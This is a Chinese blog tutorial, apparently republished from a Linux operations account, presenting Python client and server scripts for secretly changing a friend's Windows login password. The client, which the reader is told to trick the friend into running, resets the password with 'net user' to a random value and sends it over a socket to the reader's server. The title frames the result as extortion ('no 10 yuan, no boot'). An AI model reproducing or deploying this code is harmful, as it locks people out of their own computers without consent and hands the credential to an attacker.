今天教大家用python腳本來控制小伙伴們windows電腦的開機(jī)密碼。沒錯就是神不知鬼不覺,用random()隨機(jī)生成的密碼,只有你自己知道哦~
代碼呢分兩部分,一部分是client端跟server端兩個(gè)。你只需要想辦法讓小伙伴運(yùn)行你的client端腳本就OK啦。不過在此之前你一定要在你的電腦上運(yùn)行server端哦~這樣子的話,client端會在你的小伙伴電腦上隨機(jī)生成一個(gè)密碼然后通過socket發(fā)給server端也就是發(fā)給你哦~
下面放代碼,順便加點(diǎn)注釋。
client端代碼:
# client.py: //文件名import socket //導(dǎo)入用到的模塊import getpassimport subprocessimport randomclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創(chuàng)建socket實(shí)例client.connect(('10.0.0.1', 44444)) //連接server端IP地址/端口按你自己實(shí)際情況來user = getpass.getuser() //獲取計(jì)算機(jī)用戶名psd = '' //給一個(gè)psd變量(密碼)為空for j in range(1, 9): //生成1-9的隨機(jī)數(shù)m = str(random.randrange(0, 10))psd = psd + msubprocess.Popen(['net', 'User', user, psd]) //在本地執(zhí)行(類似于cmd命令)client.send(psd.encode('utf-8')) //將密碼發(fā)送給server端back_msg = client.recv(1024)client.close() //關(guān)閉socketprint psd //避免出現(xiàn)差錯忘記密碼 先在本地打印
server端代碼:
# server.py //文件名import socket //導(dǎo)入socketserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創(chuàng)建socketserver.bind(('10.0.0.1', 44444)) //綁定IP/端口server.listen(5) //監(jiān)聽print('starting....')conn, addr = server.accept() //連接print(conn)print('client addr', addr)print('ready to recv the passwd...')client_msg = conn.recv(1024)print('client passwd changed: %s' % client_msg)conn.send(client_msg.upper())conn.close()server.close()
OK代碼寫完后我們開始運(yùn)行一下程序(推薦在虛擬機(jī)下運(yùn)行,萬一出個(gè)差錯搞不好真忘記密碼!切記切記)~
首先先在我的Linux上運(yùn)行server端,來等待接收來自client端傳過來的密碼。
運(yùn)行server.py腳本
然后windows運(yùn)行client端,它會顯示生成的密碼
(前提是在cmd命令行下運(yùn)行否則你雙擊一下會消失)
cmd下運(yùn)行
現(xiàn)在再注銷或者是重啟輸入原始密碼就會發(fā)現(xiàn)密碼錯誤,怎么密碼呢也已經(jīng)發(fā)到我們的server端了。
server收到密碼
如果你現(xiàn)在想改回密碼的話,千萬不要關(guān)機(jī) 打開cmd輸入“net user 你的用戶名 你要改變的密碼” 然后回車就ok了。
好啦,本次文章就寫到這啦。大家對什么內(nèi)容感興趣歡迎給鄙人留言,鄙人會盡量照顧到大家的口味的~
-
WINDOWS
+關(guān)注
關(guān)注
3文章
3541瀏覽量
88622 -
python
+關(guān)注
關(guān)注
56文章
4792瀏覽量
84627 -
腳本
+關(guān)注
關(guān)注
1文章
389瀏覽量
14858
原文標(biāo)題:用python來更改小伙伴的windows開機(jī)密碼,不給10塊不給開機(jī)
文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
相關(guān)推薦
評論